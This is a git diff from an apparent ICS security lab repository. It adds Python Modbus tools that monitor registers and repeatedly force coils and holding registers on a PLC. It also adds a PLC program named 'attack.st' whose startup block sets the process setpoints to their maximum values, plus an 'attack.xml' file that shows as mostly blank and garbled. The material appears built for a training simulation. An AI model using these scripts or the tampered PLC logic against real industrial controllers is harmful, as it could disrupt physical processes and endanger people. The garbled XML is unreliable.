co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + 